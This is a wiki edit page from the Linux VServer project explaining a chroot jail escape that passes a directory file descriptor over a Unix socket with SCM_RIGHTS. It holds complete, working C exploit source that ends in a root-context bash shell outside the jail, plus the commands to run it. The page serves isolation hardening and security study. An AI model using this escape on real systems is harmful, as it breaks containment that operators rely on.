Editing
Secure chroot Barrier
(section)
From Linix VServer
Jump to navigation
Jump to search
Warning:
You are not logged in. Your IP address will be publicly visible if you make any edits. If you
log in
or
create an account
, your edits will be attributed to your username, along with other benefits.
Anti-spam check. Do
not
fill this in!
=== Transferring file descriptors with SCM_RIGHTS === Even if one tries to prevent the fchdir part in the above example by forbidding open directories at chroot time, it would still be possible to break out of the chroot jail. The 'solution' here is to transfer file desciptor using socket level control message with SCM_RIGHTS. The following program demonstrates this method: <pre> #define _GNU_SOURCE #include <stdint.h> #include <stdlib.h> #include <stdbool.h> #include <errno.h> #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/un.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> bool readRights(int fd, void *buf, size_t buf_len, int *fds, size_t fd_len) { struct msghdr msg; struct iovec iov[1]; struct cmsghdr *cmptr; size_t len; size_t msg_size = sizeof(fds[0]) * fd_len; char control[CMSG_SPACE(msg_size)]; msg.msg_name = 0; msg.msg_namelen = 0; msg.msg_control = control; msg.msg_controllen = sizeof(control); msg.msg_flags = 0; msg.msg_iov = iov; msg.msg_iovlen = 1; iov[0].iov_base = buf; iov[0].iov_len = buf_len; do { len = recvmsg(fd, &msg, 0); } while (len == (size_t) (-1) && (errno == EINTR || errno == EAGAIN)); // TODO: Logging if (len == (size_t) (-1)) { perror("recvmsg()"); return false; } if (len != buf_len) return false; if (msg.msg_controllen < sizeof(struct cmsghdr)) return false; for (cmptr = CMSG_FIRSTHDR(&msg); cmptr != NULL; cmptr = CMSG_NXTHDR(&msg, cmptr)) { if (cmptr->cmsg_len != sizeof(control) || cmptr->cmsg_level != SOL_SOCKET || cmptr->cmsg_type != SCM_RIGHTS) continue; memcpy(fds, CMSG_DATA(cmptr), msg_size); return true; } write(2, "bad data\n", 9); return false; } bool sendRights(int fd, void const *buf, size_t buf_len, int const *fds, size_t fd_len) { struct cmsghdr *cmsg; size_t msg_size = sizeof(fds[0]) * fd_len; char control[CMSG_SPACE(msg_size)]; int *fdptr; struct iovec iov[1]; size_t len; struct msghdr msg = { .msg_name = 0, .msg_namelen = 0, .msg_iov = iov, .msg_iovlen = 1, .msg_control = control, .msg_controllen = sizeof control, .msg_flags = 0, }; iov[0].iov_base = (void *) (buf); iov[0].iov_len = buf_len; // from cmsg(3) cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; cmsg->cmsg_len = CMSG_LEN(msg_size); msg.msg_controllen = cmsg->cmsg_len; fdptr = (void *) (CMSG_DATA(cmsg)); memcpy(fdptr, fds, msg_size); len = sendmsg(fd, &msg, 0); if (len == (size_t) (-1)) { perror("sendmsg()"); return false; } return (len == buf_len); } static void spawnShell() { execl("/bin/bash", "/bin/bash", "--login", (char const *) (0)); perror("execl()"); exit(1); } #define perror(X) (perror(X),0) int main(int argc, char *argv[]) { struct sockaddr_un addr = { .sun_family = AF_UNIX, .sun_path = "s" }; int fd; pid_t pid; int s; if (argc != 3) { chroot(argv[1]); spawnShell(); } pid = fork(); if (pid == 0) { fd = open(".", O_RDONLY); chdir(argv[1]); } else if (pid != 0) { chroot(argv[1]) != -1 || perror("chroot()"); chdir("/"); } s = socket(AF_UNIX, SOCK_STREAM, 0); if (pid != 0) { char c; int i; size_t len = sizeof addr; unlink(addr.sun_path); bind(s, (struct sockaddr *) &addr, sizeof addr) != -1 || perror("bind()"); listen(s, 5) != -1 || perror("listen()"); s = accept(s, (struct sockaddr *) &addr, &len); readRights(s, &c, sizeof c, &fd, 1); fchdir(fd) != -1 || perror("fchdir()"); close(fd); for (i = 0; i < 10; ++i) { chdir("..") != -1 || perror("chdir()"); } chroot(".") != -1 || perror("chroot()"); spawnShell(); } else { sleep(2); connect(s, (struct sockaddr *) &addr, sizeof addr) != -1 || perror("connect()"); sendRights(s, ".", 1, &fd, 1); close(s); } } </pre> To use this exploit run the following commands (assuming you have compiled the above source as chrootescape): <pre> # cp /path/to/chrootescape /new/root/ # chroot /new/root # mkdir tmp/x # ./chrootescape tmp/x X </pre>
Summary:
Please note that all contributions to Linix VServer may be edited, altered, or removed by other contributors. If you do not want your writing to be edited mercilessly, then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public domain or similar free resource (see
Linix VServer:Copyrights
for details).
Do not submit copyrighted work without permission!
Cancel
Editing help
(opens in new window)
Navigation menu
Page actions
Page
Discussion
Read
Edit
History
Page actions
Page
Discussion
More
Tools
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
About
Overview
Paper
News
Developers
Donations
Search
Getting Started
Downloads
FAQs
Documentation
Support
Participate
How to participate
Report a Bug
Communicate
Teams/Projects
Hall of Fame
Resources
Archives
Recent Wiki Changes
Pastebin
Related Projects
VServer Hosting
Happy VServer Users
Tools
What links here
Related changes
Special pages
Page information